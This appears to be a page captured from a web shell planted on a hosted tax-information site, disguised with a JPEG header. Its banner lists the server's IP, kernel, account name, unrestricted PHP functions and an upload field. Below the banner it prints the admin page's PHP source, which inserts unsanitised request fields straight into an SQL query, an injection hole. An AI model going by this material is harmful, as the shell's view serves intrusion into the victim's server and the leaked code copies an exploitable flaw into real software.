ÿØÿà JPEG ÿþ;
Server IP : 68.65.120.201 / Your IP : 216.73.216.73 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.32 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/public_html/admin/ |
Upload File : |
<?php $id=$_GET['id']; // echo"$id"; include "db.php"; ?> <?php Session_start(); if(isset($_SESSION['adminlogedin']) && $_SESSION['adminlogedin']==true) { $email= $_SESSION['Email_Address03092372779']; $user= $_SESSION['user03092372779']; ?> <!DOCTYPE html> <html lang="en"> <head> <title><?php echo"Add Customs Circular";?></title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"></script> </head> <body style="background: #21a3b321;"> <Style> .form-control:focus { color: #212529; background-color: #fff; border-color: #b7d0f5; outline: 0; box-shadow: 0 0 0 0.25rem rgba(79, 80, 80, 0.247); } .btn-primary{ background: #009bad; border: #0a9eb0;} .btn:hover { color: var(--bs-btn-hover-color); background-color: #98a0a4; border-color: #98a0a4; } .head{width: 100%;height: ; background-color: #f7f7f7;} .head img{width: 300px;} .img1st{margin: 0% ; padding: 20px} td{text-align: justify; } th{text-align: center; color: #666666; } *{font-family: Math !important;} p{font-size: 18px;} </Style> <div class=head> <div class="container" > <div class="img1st"> <center> <img src="Logo.png"></center> </div> </div> </div> <h1 style=" text-transform: capitalize;text-align:center; font-weight:800; padding: 20px; margin-top:10px;">Upload Customs Circular</h1> <div class="container" style="max-width: 1155px; box-shadow: 5px 5px 5px 5px #888888;background: #f7f7f7;border: 3px solid #a0a0a0; padding: 20px;"> <form method="post" enctype="multipart/form-data" style="border: 1px solid; padding: 14px; border-color: #ececec; border-radius: 9px; background: #ececec;"> <select name="date" class="form-control mt-3" name="" style=" height: 50px;font-size: 18px;"> <option value="" disabled selected hidden>Select Year</option> <?php $Year1="SELECT * FROM `plus` ORDER BY `plus`.`Year` DESC"; $data11=mysqli_query($con,$Year1); ?> <?php foreach ($data11 as $yy ) { ?> <option value="<?php echo $yy['Year']?>"><?php echo $yy['Year']?></option><?php } ?> </select> <input type="text" name="pnso" placeholder="Cir No" class="form-control mt-3" style="width:100%; height: 50px;font-size: 18px;"> <input type="text" name="top" placeholder="Topic/items" class="form-control mt-3" style=" height: 50px;font-size: 18px;"> <input type="text" name="sub" placeholder="Subject/ " class="form-control mt-3" style=" height: 50px;font-size: 18px;"> <textarea name="abc" id="editor"></textarea> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous"> <script src="https://code.jquery.com/jquery-3.6.0.min.js" integrity="sha256-/xUj+3OJU5yExlq6GSYGSHk7tPXikynS7ogEvDej/m4=" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/2.6.0/umd/popper.min.js" integrity="sha512-BmM0/BQlqh02wuK5Gz9yrbe7VyIVwOzD1o40yi1IsTjriX/NGF37NyXHfmFzIlMmoSIBXgqDiG1VNU6kB5dBbA==" crossorigin="anonymous"></script> <script src="https://cdn.tiny.cloud/1/tq0hr7verxsogwmiin273odsbrqihg80o6aew6iygm2f7hr2/tinymce/6/tinymce.min.js" referrerpolicy="origin"></script> <script> tinymce.init({ selector: '#editor', plugins: 'anchor autolink charmap codesample emoticons image link lists media searchreplace table visualblocks wordcount checklist mediaembed casechange export formatpainter pageembed linkchecker a11ychecker tinymcespellchecker permanentpen powerpaste advtable advcode editimage tinycomments tableofcontents footnotes mergetags autocorrect typography inlinecss', toolbar: 'undo redo | blocks fontfamily fontsize | bold italic underline strikethrough | link image media table mergetags | addcomment showcomments | spellcheckdialog a11ycheck typography | align lineheight | checklist numlist bullist indent outdent | emoticons charmap | removeformat', tinycomments_mode: 'embedded', tinycomments_author: 'Author name', mergetags_list: [ { value: 'First.Name', title: 'First Name' }, { value: 'Email', title: 'Email' }, ], }); </script> <div class="row"> <div class="col-md-6"> <?php $_SESSION['fname']; echo "<input type='hidden' class='form-control mt-3' style=' height: 50px;font-size:18px;' name='update' readonly value='" . date('d-M-Y') . "' required/>"; ?> </div> <div class="col-md-6"><input name="upby" class='form-control mt-3 ' style='height: 50px;font-size:18px;' type="hidden" readonly value="<?php echo $_SESSION['fname'];?>" ></div> </div> <button class="btn btn-danger mt-3" type="submit" name="ordgo"style="width:100%; background: #04a3b4; border: 1px solid; font-weight: 900;height: 50px; font-size: 20px; border-color: #04a3b4;" >Upload Circular</button> </form></div> <?php if(isset($_POST['ordgo'])){ $upby = $_POST['upby']; $update = $_POST['update']; $year=$_POST['date']; $pnso=$_POST['pnso']; $top=$_POST['top']; $sub=$_POST['sub']; $text=$_POST['abc']; $text= str_replace("'","\'",$text); // $heross="INSERT INTO `pnso`(`Year`, `Pnso#`, `Topic`, `Subject`, `Catag`,`upby`,`upldate`,`eemail`,`text`) "; $heross="INSERT INTO `cir`(`year`, `cir`, `top`, `sub`, `Catag`, `upby`, `dated`, `eemail`, `text`) VALUES ('$year', '$pnso', '$top', '$sub', '$id', '$upby', '$update', '$email', '$text'); "; $datass=mysqli_query($con,$heross); if( $datass== 1){ echo '<script> alert("Your File Has Been Uploaded!"); </script>'; if($id == "Income tax"){ header('location:circulars?tax=Income%20tax'); echo '<script>window.open("pnotice?tax=Income%20tax", "_self")</script>'; } elseif($id =="Sales tax"){ header('location:circulars?tax=Sales%20tax'); echo '<script>window.open("pnotice?tax=Sales%20tax", "_self")</script>'; } elseif($id =="Federal Excise"){ header('location:circulars?tax=Federal%20Excise'); echo '<script>window.open("pnotice?tax=Federal%20Excise", "_self")</script>'; } elseif($id =="Customs"){ header('location:circulars?tax=Customs'); echo '<script>window.open("pnotice?tax=Customs", "_self")</script>'; } else{header('location:index');} } } ?> <?php } else{ echo '<script>window.open("login", "_self")</script>'; } ?>